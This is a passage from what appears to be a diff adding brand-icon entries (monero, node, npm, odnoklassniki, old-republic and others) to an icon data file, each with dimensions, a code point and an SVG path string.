40-40s40 17.9 40 40v271.7z"], + "modx": [448, 512, [], "f285", "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"], + "monero": [496, 512, [], "f3d0", "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"], + "napster": [496, 512, [], "f3d2", "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"], + "neos": [512, 512, [], "f612", "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"], + "nimblr": [384, 512, [], "f5a8", "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"], + "node": [640, 512, [], "f419", "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"], + "node-js": [448, 512, [], "f3d3", "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"], + "npm": [576, 512, [], "f3d4", "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"], + "ns8": [640, 512, [], "f3d5", "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"], + "nutritionix": [400, 512, [], "f3d6", "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"], + "octopus-deploy": [512, 512, [], "e082", "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"], + "odnoklassniki": [320, 512, [], "f263", "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"], + "odnoklassniki-square": [448, 512, [], "f264", "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"], + "old-republic": [496, 512, [], "f510", "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 